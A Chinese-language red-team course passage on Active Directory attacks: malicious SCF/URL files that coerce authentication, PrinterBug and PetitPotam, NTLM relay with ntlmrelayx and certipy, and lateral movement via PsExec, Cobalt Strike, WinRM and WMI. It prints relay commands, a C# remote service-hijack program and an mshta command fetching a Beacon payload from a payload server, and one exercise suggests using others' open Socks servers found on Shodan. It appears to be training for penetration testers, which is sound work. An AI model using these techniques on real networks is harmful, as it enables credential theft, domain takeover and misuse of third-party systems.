[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/3xm3NLOifGIZTj0Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/3xm3NLOifGIZTj0Z-image.png)

这里，我们是成功恢复了明文密码。但如果密码强度足够高，我们最终可能无法恢复明文密码。

### **强制认证**

我们手动复现了攻击者如何使本地链路中毒并窃取其他用户的凭证，出于演示目的，我们在 File01 上扮演了受害用户 alice，并错误地输入了一个不存在的网络资源。在真实场景中，虽然这种情况还是会不时发生 (只要时间足够长，总能获得高权限用户的哈希)，但这毕竟是我们不能依赖的随机事件。我们当然也可以对用户进行社会工程学攻击以诱导他们访问不存在的网络资源，然而，最好的办法是让用户在他们不知情的情况下访问不存在的资源，并窃取到他们的凭证，这种技术被称为强制认证。

##### **SCF 文件**

SCF 文件是 Windows 资源管理器命令文件，用于定义可在 Windows 资源管理器中执行的自定义命令。这些文件是使用文本编辑器创建的，并包含按照命令在文件中列出的顺序执行的命令列表。SCF 文件中的命令可以执行各种任务，例如打开程序、运行脚本或执行系统操作。我们可以在 \\\\file01\\tools 这个公开 SMB 目录中创建一个恶意 SCF 文件 coerion.scf。恶意文件的内容可以如下：

```
[Shell]
Command=2
IconFile=\\web03\shared\pic.ico
[Taskbar]
Command=ToggleDesktop
```

IconFile 的位置指向一个不存在的 SMB 共享目录，因此当任何域用户使用 Windows 资源管理器访问该目录时，我们将获取该用户的哈希。 例如在Srv01上以 prod\\sql\_service 登录，打开Windows资源管理器访问 \\\\file01\\tools，于是在用户不知情的情况下，我们获取了 svc\_sql 的 NetNTLMv2 哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/hNIC9qXnVPW26kk0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/hNIC9qXnVPW26kk0-image.png)

#####    
**URL 文件**

URL 文件是存储网页/网站快捷方式的文件。这些文件通常在 Windows 操作系统中用于在**桌面**或**开始菜单**中创建网页的快捷方式，当用户单击 url 文件时，默认网络浏览器会打开网页。URL 文件类似于 html 文件，但并不用于存储网页的实际内容。相反，它们包含对网站的引用以及任何其他信息，例如网页标题或快捷方式的位置。

同样的，在 \\\\file01\\tools 中创建 coerion.url 文件，然后以认证的用户身份来访问该目录。

```
[InternetShortcut]
URL=https://google.com
IconIndex=0
IconFile=\\web03\shared\web.ico
```

  
这次，我们以 white-bird\\Administrator 的身份在 Dc05 上访问该目录，于是在用户不知情的情况下，我们获得了域管理员的 NetNTLMv2 哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/YjbdyVv7t3xIYPOF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/YjbdyVv7t3xIYPOF-image.png)

#####   
**其他**

除了 SCF 文件和 URL 文件之外，例如 doc 文档中的超链接、电子邮件中的图像、lnk Windows 快捷方式文件等都可以触发强制认证。其实原理是一样的，这些文件都具有指向不存在资源的属性。而触发强制认证的方式也可以不同，例如打开 Windows 资源管理器访问可读的 SMB 共享、检查电子邮件，或只是打开doc文档。总之，在内网中，中毒攻击会十分有效。

### **远程强制认证**

尽管上述的强制身份验证技术使 LLMNR\\NetBIOS-NS 中毒攻击更加有效，但我们更喜欢以目标为中心且更少依赖于机遇的技术，而远程强制认证正是我们所寻找的技术。大多数远程强制认证依赖于 **MS-RPC** 协议，例如 **MS-RPRN** 和 **MS-EFSR**。

*\* 可能因为工具实现的差异，Inveigh 并不能捕获到主机账户的哈希 (但能看到强制认证是成功的，因为检测到了**请求**)。出于演示与原理教学的目的，我在 Web01 上安装了 Responder。但在目标的受害主机中发现 Responder 这样的攻击性工具是不现实的，而如果在受害主机上下载安装 Responder 更是疯狂。*

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/L40gRiRO5TaHg8XN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/L40gRiRO5TaHg8XN-image.png)

在 Web01 上运行 Responder，指定**网卡接口**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Ydkzbt4j0MsW8XFB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Ydkzbt4j0MsW8XFB-image.png)

我们可以在配置文件 **Resonder.conf** 中调整各项配置，例如决定建立哪些服务的 Rogue 服务器、指定挑战的数值等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/kqPrQZLufOyEXZAN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/kqPrQZLufOyEXZAN-image.png)

#####   


##### **MS-RPRN PrinterBug**

**Print Spooler** 是 Windows 操作系统中管理打印过程的服务，而 PrintBug 是一种远程强制验证强制技术，它利用 MS-RPRN 协议从而强制其他主机对攻击者控制的主机进行认证，但此缺陷是不会被修复的 (设计如此)，并且默认情况下在所有 Windows 环境中启用。我们可以使用强制认证类工具，例如 SpoolSample.exe ([https://github.com/leechristensen/SpoolSample](https://github.com/leechristensen/SpoolSample))来实现。这里，我们强制 Dc01 向 Web01 认证：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/fKqA4Ib6SVbro6Bi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/fKqA4Ib6SVbro6Bi-image.png)

于是，Responder 捕获了 Dc01 主机帐号的 NetNTLMv2 哈希，考虑到主机账号密码的强度，虽然我们并不能字典破解该哈希，但足以证明强制认证是成功的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/aUysJct4cigPfvVl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/aUysJct4cigPfvVl-image.png)

#####   


##### **MS-EFSR PetitPotam**

MS-EFSR 是 Microsoft 的**加密文件系统远程协议**，它对远程存储并通过网络访问的加密数据执行维护和管理操作。它的利用与 PrinterBug 非常相似，但它允许未认证的用户强制域控制器对攻击者主机进行认证。我们可以使用工具 PetitPotam ([https://github.com/topotam/PetitPotam](https://github.com/topotam/PetitPotam)) 来实现。因为不需要经过域认证，因此我们可以在自己的 VM 上，执行命令 **proxychains python3 petitpotam.py 172.16.1.12 172.16.1.21。**第 1 个 IP 是 Responder 运行的主机 IP，第 2 个是要强制认证的主机。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/KiFlkj1k67WLqmA9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/KiFlkj1k67WLqmA9-image.png)

并且 Responder 捕获了 Dc02 主机帐号的 NetNTLMv2 哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/BjEI1O305YoePA98-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/BjEI1O305YoePA98-image.png)

### **中继攻击**

在之前的攻击中，我们能够获取用户或主机帐号的 NetNTLMv2 哈希。 然而，我们并不总是幸运到能破解这些哈希从而恢复明文密码。我们同样不能将这些哈希用于哈希传递认证，但这些哈希可以被用于 AD 中的中继攻击，我们并不需要知道它们的明文密码。 在中毒攻击中，我们只是获取哈希并尝试破解它们，而在中继攻击中，我们的 Rogue 服务器将获得的哈希直接中继到其他主机或协议。成功的中继攻击可以帮助我们远程导出凭证、枚举 Active Directory、提升权限等，就像是获得了认证一样。我们将使用 Impacket 中的工具 ntlmrelayx。

出于教学目的，在 PROD 域新增了用户 **prod\\servermgr**，密码为 **Summer2024!**。该用户对 Srv01 以及 File01 具有本地管理员特权。

##### **导出凭证**

如果我们不为 ntlmrelayx 指定其他设置，它将远程导出目标主机 SAM 中的凭证。 在 VPS 或者 VM 上运行 Impacket 中的 ntlmrelayx 开启监听：

```bash
proxychains python3 impacket/examples/ntlmrelayx.py -t smb://<目标主机> -smb2support --no-http-server --no-wcf-server
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/e4S8Xiislv9hjSOm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/e4S8Xiislv9hjSOm-image.png)

如图所示，我们将认证流中继到了 **File01**。在 **Srv01** 上，我们以 prod\\servermgr 登陆，访问 ntlmrelayx 所开启的 Rogue 监听器，尽管这个 UNC 路径不是有效的，但不妨碍我们将 servermgr 用户在 File01 上对攻击机 Rogue 监听器的认证流中继给了 File01。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/QOdRC4eWXgaJH0v2-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/QOdRC4eWXgaJH0v2-image.png)

因为要导出目标主机的凭证，因此受害用户应在目标服务器 File01 上需要具有**本地管理员权限**。此外，很重要的一点是，我们无法使用**相同的协议**将认证流中继回**原计算机** (在 **2008**年之前，是可以中继回原主机的，也就是 **MS08-068 漏洞**)，这就是为什么我们是将 **SMB 协议认证流**中继给了 File01 而不是 Srv01。幸好 servermgr 在 File01 上也是本地管理员，也就是我们希望受害者主机尽可能是高特权用户，即在多台主机上都具有本地管理员权限，最好是域管理员。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/Ct5G0Jq3wszcHNtY-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/Ct5G0Jq3wszcHNtY-image.png)

此外，只有在目标计算机上**禁用**了 **SMB 签名**时，SMB 中继才可以成功。默认情况下，域主机是禁用了 SMB 签名的，但是域控制器则默认启用。我们可以用 CME 来验证目标是否开启了 SMB 签名，我们可以看到，域控制器是启用的，而其他域主机则默认禁用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6qJDahWPObhqi1Nh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6qJDahWPObhqi1Nh-image.png)

有管理员的情况下，我们也可以指定 **-c** 选项来执行命令。

##### **AD 枚举**

如果认证流被中继到域控制器上的 LDAP/LDAPS 服务，我们就能够枚举 AD 了。但是，将 SMB 数据流中继到 LDAP 服务器通常是不可行的的 (**CVE-2019-1040** 补丁修复了跨协议中继)，因为域控制默认启用了 SMB 签名。 运行 ntlmrelayx 执行以下命令：

```bash
proxychains python3 impacket/examples/ntlmrelayx.py -t ldap://172.16.1.11 --no-da --no-acl --lootdir relay
```

当中继成功时，ntlmrelayx 在不提升权限和利用 ACL 的情况下枚举域。 当受害者用户访问我们的 Rogue HTTP (在内网部署的话成功率会更高，毕竟访问的是一个外部 IP) 服务器时，会话将中继到 Dc01 上的 LDAP 服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/f3kxLBzTtprFha95-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/f3kxLBzTtprFha95-image.png)

认证之后，我们可以看到 ntlmrelayx 这里有了认证和枚举信息。中继攻击完成后，我们可以找到导出的信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/yt0rcE7eCIYzhgeP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/yt0rcE7eCIYzhgeP-image.png)

导出的域信息以文件形式保存在指定的目录下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/a34aWaAnOFBBByFp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/a34aWaAnOFBBByFp-image.png)

我们还可以通过 **--add-computer** 选项来通过中继从而创建新的主机账号，或者通过 **--escalate-user** 选项来提升指定用户的特权，请大家自行尝试。

##### **ADCS NTLM 中继回顾**

在 ADCS 利用的小节，我们提到了 ADCS 网页注册终端可被利用于 NTLM 中继。已知 Dc03 也是 CA，因此该终端为 http://Dc03/certsrv。我们可以通过**强制认证**的手段，例如使用 SpoolSample 强制一高权限主机 (配置了**非约束委派**的主机，**域控制器**等) 向攻击者的 Rogue 服务器认证，然后 Rogue 服务器将认证流中继到 CA 的网页注册终端。

需要注意的是，我们依旧不能将认证流中继回原主机，这点当 **CA 与 DC 为同一台主机**的时候 (靶场里也是这种情况) 成立。这种情况下，我们会寄希望于有一台具有高权限的主机。包括但不局限于被配置了 Kerberos 委派、具有 Dcsync 权限等。

我们使用 certipy 开启 Rogue 服务器，因为 Med-factory 森林只有 1 个域且 CA 与 DC 为同一主机，我们退而求其次选择让被配置了约束委派的 Stg01 向我们的 Rogue 服务器认证。

```bash
proxychains certipy relay -ca <CA IP> -template <ADCS 证书模板名> //理想情况下是DomainController模板
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/VVANBWASgPU4KF1e-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/VVANBWASgPU4KF1e-image.png)

使用 SpoolSample 强制认证：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/7KrzmrJhbRSvzxo3-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/7KrzmrJhbRSvzxo3-image.png)

我们可以看到，中继成功了，我们得到了主机 Stg01 的证书。后续，我们可以用它来申请 TGT 以及利用 s4u2self 对 Stg01 取得本地管理员权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/gBPGl7qYVxDFuQf7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/gBPGl7qYVxDFuQf7-image.png)

# 第10章课后作业

### **练习**

1：在 Shodan 等测绘引擎中搜索未实施认证的 Socks 服务器，有没有能实际为自己所用的呢？

2：如果一台内网主机不连通互联网，利用 Socks、端口转发、C2 特性等方法，如何让它连接到我们的团队服务器上呢？

3：如果 2 中的这台主机在更深层的内网 (公网 -&gt; 172.16.1.1.24 -&gt; 10.10.10.1/24)，又如何做到呢？

4：在 Web01 上使用 Responder 复现 LLMNR 中毒攻击

5：除了教材中提到的 SCF 文件、URL 文件等，你还能想到哪些其他的强制认证手段呢？

6：对于 SMB 中继，需要满足哪些条件方可实现对目标主机的远程代码执行？

7：通过 NTLM 中继实现主机账号的添加

8：利用 ADCS 的 NTLM 中继得到 Stg01 的主机账号证书，最终实现对 Stg01 的 SYSTEM 权限访问

# 面试专题

# 章节11：横向移动



# PsExec

横向移动，即通过对网络中的其他主机实现访问和控制从而扩大我们的占领范围，本质是因为我们已经拿下的资源 (用户、主机等)对其他主机具有特定的权限。在之前的章节，我们通过各种域攻击手法，例如 DACL 利用、组策略利用等，攻陷了更多的用户和主机。之前，我们能对其他主机实现资源访问、代码执行，现在，我们想要获得来自这些主机的 Beacon 或 Shell。尽管横向移动的真正难点在于**攻陷这些具有权限的用户或主机**从而实现对他们的**模仿**以**获得特权**，但在不同情况下选择最合适的横向移动方法也很重要，因为不同的横向移动方法所需要的需求不一样，也有着不同的 IoC。

在 Cobalt Strike 中，**jump** 命令配合**具体方法的子命令**可用于横向移动，而 **remote-exec** 用于执行远程代码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/3O3dncJPhx5u27e4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/3O3dncJPhx5u27e4-image.png)

### **PsExec**

PsExec 是攻击者最青睐的横向移动方式之一，通过 PsExec 横向移动之后，攻击者可以获得 **NT AUTHORITY\\SYSTEM** 的权限。同名工具 PsExec 是微软 **Sysinternals Suite** 中的一部分 ([https://learn.microsoft.com/en-us/sysinternals/downloads/psexec](https://learn.microsoft.com/en-us/sysinternals/downloads/psexec))，正因为是微软的工具，因此不会受到杀毒软件的封锁。不过因为被广泛滥用，一些安全产品还是会封锁。接下来，我们来分解一下工具 PsExec 的原理，通过 PsExec 横向移动的原理可以略有不同，以下只是 PsExec.exe 的实现：

1：PsExec 工具会上传服务二进制文件 psexecsvc.exe 至目标的 **ADMIN$** 中，通常是目录 c:\\Windows  
2：通过调用 **OpenSCManager** 与 **CreateService** API 在目标主机上创建新服务，指向上传的这个服务二进制文件  
3：调用 **StartService** API 启动服务  
4：PsExec 通过**命名管道**与 **psexecsvc.exe** 进行通信，其中 **CreateFile** 用于打开对命名管道的句柄，**ReadFile** 以及 **WriteFile** 用于发送和接收数据  
5：PsExec 将要执行的命令通过命名管道发送给 psexecsvc.exe，调用 **CreateProcess** 运行命令  
6：使用结束后，通过调用 **DeleteService** API 来删除服务

来看看上述过程中的一些 IoC，如下图所示，我们可以看到 **PSEXECSVC** 服务被安装然后启动。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/UYg0u3LOgD8bXPa8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/UYg0u3LOgD8bXPa8-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/QSUilVKyNyEOs4EV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/QSUilVKyNyEOs4EV-image.png)

攻击者可以通过自定义**服务名**、**上传目录**、自定义**服务二进制文件**等方式改善 OPSEC。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/iknNLgAdPG0xBWmm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/iknNLgAdPG0xBWmm-image.png)

PsExec 需要用户对目标主机具有**本地管理员权限**，并且需要 **445** 端口开启。但是 2022 年的一份研究 ([https://pentera.io/blog/135-is-the-new-445/](https://pentera.io/blog/135-is-the-new-445/)) 表明，只开启端口 **135** 也是可以实现的。对于非默认的本地管理员组账户 (例如 admin)，如果在开启了**远程 UAC** (默认开启)，即**本地账户令牌过滤策略** ([https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction](https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction))，使用 PsExec (对于一些其他方式的横向移动也适用) 进行横向移动会被阻止。例如，我们拥有了某主机的一个**非默认本地管理员账户 admin** 凭证，我们想通过 PsExec 远程访问该主机并获得 SYSTEM 权限，但会发现访问失败，这就是远程 UAC 的效果，**对于域账户不适用**。

### **Windows Sysinternal PsExec**

在上文，我们说过了微软原生工具 PsExec 的原理，那么至于使用方法就很直接了。如果当前用户在本地是管理员，可以用此来获得 SYSTEM 权限，需要当前是高完整度。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/zkyyf3xVnN741zvt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/zkyyf3xVnN741zvt-image.png)

当前域用户对远程主机具有本地管理员权限的话，指定远程主机即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/N79M0Pw9SS9f6Xze-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/N79M0Pw9SS9f6Xze-image.png)

### **C2** 

##### **jump-psexec**

我们知道了 CS 内置的 jump 命令可用于横向移动，那么 jump psexec64 则是使用 psexec 的方法。根据 PsExec 的原理，这个过程是需要上传服务二进制文件的，而 CS 内置的该命令显然会上传服务二进制格式的 Beacon，默认情况下容易被安全产品所捕捉。如果我们当前进程的令牌可以访问远程主机的 ADMIN$，那么可以直接通过命令 **jump psexec64 &lt;主机名&gt; &lt;监听器&gt;** 进行横向移动。如果不可以，但有着所需账户的明文凭证，可以先生成新的令牌再横向移动。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/D1L3IFDsl1knq5hV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/D1L3IFDsl1knq5hV-image.png)

之后，我们会获得 SYSTEM 权限的 Beacon。

### **第三方工具**

##### **Impacket**

Impacket 中的 psexec.py 脚本大家已经很熟悉了，不仅支持明文密码认证，还支持 NTLM、票据、Keytab 等认证方式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/x1W6U8ZPtyHvIxYH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/x1W6U8ZPtyHvIxYH-image.png)

##### **PaExec**

PaExec ([https://github.com/poweradminllc/PAExec](https://github.com/poweradminllc/PAExec)) 是对 PsExec 的复现，用法几乎相同，但能突破一些 PsExec 的限制，例如下图。以本地管理员身份横向移动到目标主机，PsExec 拒绝了访问，但 PaExec 却可以。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/dZBs2kO0CnFSTxpY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/dZBs2kO0CnFSTxpY-image.png)

而且考虑到 PaExec 的曝光度没有 PsExec 高，可以作为替代品。

##### **BOF scshell**

BOF scshell ([https://github.com/Mr-Un1k0d3r/SCShell](https://github.com/Mr-Un1k0d3r/SCShell)) 以更佳的 OPSEC 实现了基于 PsExec 的横向移动。scshell 是通过 **DCERPC** 实现认证的，而不是 SMB。蓝队会着重防御 SMB，可能因此忽视了 DCERPC 协议。此外，scshell 并不会注册和创建新的服务，而是对开启一个已有服务，修改其二进制文件的地址。我们可以选择上传一个载荷到目标主机，也可以使用 **C:\\windows\\system32\\cmd.exe** 这样的内置程序实现代码执行，例如

```powershell
C:\windows\system32\cmd.exe /c C:\windows\system32\mshta.exe http://<载荷服务器>/beacon.hta
```

scshell 并不会提供命令的输出，因此适合通过远程代码执行的方式运行载荷。

##### **编程实现**

我们也可以通过 C# 编程来实现 PsExec 横向移动。与微软的 PsExec 不同的是，如下程序修改了现有服务的二进制文件地址，使其指向自己制定的程序，这点与 scshell 相同。

```c#
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace movement
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
        static void Main(string[] args)
        {
            String target = args[1];
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
            string ServiceName = args[2];
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
            string payload = args[3];
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
            bResult = StartService(schService, 0, null);
        }
    }
}
```

不过这代码也有一些不完善的地方，例如没有使用后对服务进行修改复原。因此，该代码可用于理解在 API 层面的 PsExec 的原理，但在实战中还是请使用更加完善的途径。

# WinRM

WinRM，即 Windows 远程管理，是微软对 **WS-MAN** 协议的实现，提供了对远程主机的 PowerShell 访问。远程 PowerShell 正是建立在 WinRM 协议之上，使用户可以对远程主机运行 PowerShell 命令。而对于攻击者而言，这也是远程的对远程主机实现代码执行以及横向移动的途径。WinRM 默认端口为 5985，但因为是较高端口号，因此可以进行更改。

默认情况下，只有**本地管理员**权限的用户可以使用 Powershell 远程登陆，但对于 **Remote Management Users** 组中的非本地管理员成员，依旧可以使用 PowerShell 远程登陆。例如，prod\\john 用户虽然不是本地管理员，却可以使用 WinRM 访问 Srv01。

### **PowerShell**

在 Powershell 会话中，如果当前用户对特定主机具备本地管理员或者 WinRM 的权限，可以通过命令 **Enter-PSSession -ComputerName &lt;主机名&gt;** 进入远程主机的交互式 PowerShell 会话。当然，我们也可以提供其他用户的凭证之后进入会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/SHSQJc342aYKvSsI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/SHSQJc342aYKvSsI-image.png)

我们还可以通过下述命令对远程主机执行代码。

```powershell
Invoke-Command -ComputerName <主机名> -ScriptBlock {<命令>} 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/2fWWLbfPXyxUi3hc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/2fWWLbfPXyxUi3hc-image.png)

### **C2** 

##### **jump winrm**

在 CS 中, **jump winrm** 可用于通过 WinRM 进行横向移动，之后团队服务器会得到新的高完整度的 Beacon。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/b4ol89dz0ZIEd795-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/b4ol89dz0ZIEd795-image.png)

### **第三方工具**

##### **Evil-WinRM**

我们还可以通过外部工具来实现 WinRM 的远程访问以及横向移动。例如 Evil-WinRM。Evil-WinRM 支持 **Kerberos** 认证，以及**NTLM** 认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/qbyGkFatWYjPAKpu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/qbyGkFatWYjPAKpu-image.png)

Evil-WinRM 还带有一些内置的后利用命令，例如文件传输、服务枚举、反射式加载等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/LU4xJpeClhmKQDjb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/LU4xJpeClhmKQDjb-image.png)

# WMI

WMIC (Windows 管理仪表) 是一项 Windows 管理功能，它为本地和远程访问 Windows 系统组件提供统一的环境。系统管理员可以创建 VBScript 或 PowerShell 脚本来管理本地和远程的 Windows 主机。WMI 也是横向移动和远程代码执行的原生方式，它需要本地管理员权限。

### **WMI 基础**

在 WMI 中，命名空间是类的逻辑容器，它允许以层次结构组织类，每个命名空间可以包含**类**、**类的实例**或**其他命名空间**。WMI 使用命名空间来避免类之间的命名冲突。WMI中的根命名空间是 **Root**，Root下有几个标准的命名空间，如 **CIMV2**、**Security**、**StandardCimv2** 等。

WMI 中的类是定义一种托管对象类型的架构，类似于数据库中的表。 每个类都有一个属性列表，这些属性定义了类实例的数据字段，以及可以在类实例上执行的操作的方法。例如，在 **Root\\CIMV2** 命名空间中，有一个名为 **Win32\_Process** 的类，它代表一个运行在 Windows 系统上的进程。 Win32\_Process 类具有 **Name** 和 **ProcessID** 等属性，提供有关每个进程的信息，以及 Create 和 Terminate 等可用于控制进程的方法。

通常，要执行 WMI 操作，我们需要指定包含要使用的**类的命名空间**以及**类的名称**。 例如，要创建一个新进程，我们可以使用 **Root\\CIMV2** 命名空间中的 **Win32\_Process** 类，并调用该类的 **Create** 方法。接下来，我们通过 PowerShell 命令熟悉一下 WMI。

列举所有命名空间，需要提升特权：

```powershell
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Mkkt5XkmzoVIqY8n-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Mkkt5XkmzoVIqY8n-image.png)

列举 **root\\cimv2** 中的命名空间：

```powershell
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/a3PH2cdsXHaSaq2l-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/a3PH2cdsXHaSaq2l-image.png)

罗列有关 **Win32\_process** 的类，如果不指定命名空间，默认是 **root\\cimv2**。

```powershell
Get-WmiObject -Recurse -List -class win32_process*
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/w6bhRiZsu6BQBYVg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/w6bhRiZsu6BQBYVg-image.png)

WMI 还支持基于 SQL 语法的查询，我们可以用如下查询做到相同的事情：

```powershell
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class Like "win32_process%"'
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/UlIMQshDg1TKBP3G-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/UlIMQshDg1TKBP3G-image.png)

调用 **Win32\_process** 类以查看进程的相关信息

```powershell
Get-WmiObject -Class win32_process | select Name,ProcessId,CommandLine
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/OcjePxmihJbmf15D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/OcjePxmihJbmf15D-image.png)

调用 Win32\_process 类的 Create 方法来创建新的进程：

```powershell
$process=[wmiclass]"win32_process"
$process.Create("calc.exe",$null,$null)
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/IylGFqyjbvfl3fcO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/IylGFqyjbvfl3fcO-image.png)

###  

### **wmic.exe**

无论是枚举信息还是执行任务，wmic.exe 都很得心应手，wmic 对类添加了别名，例如 **Win32\_process** 在 wmic 里可以通过 **process** 进行访问。不提供任何选项，直接运行 wmi.exe 会进入交互式控制航，可以查看所有类。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/rUeUdaKTvXWg8K71-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/rUeUdaKTvXWg8K71-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/x5vQoxqrriu9PLUi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/x5vQoxqrriu9PLUi-image.png)

我们可以通过如下的原生命令给远程主机创建新的进程：

```powershell
wmic /node:<主机> /user:<用户名> /password:<密码> process call create "<命令>" 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/4CMkKCmkCRcpa9s0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/4CMkKCmkCRcpa9s0-image.png)

然后发现在目标主机上该进程确实存在了。

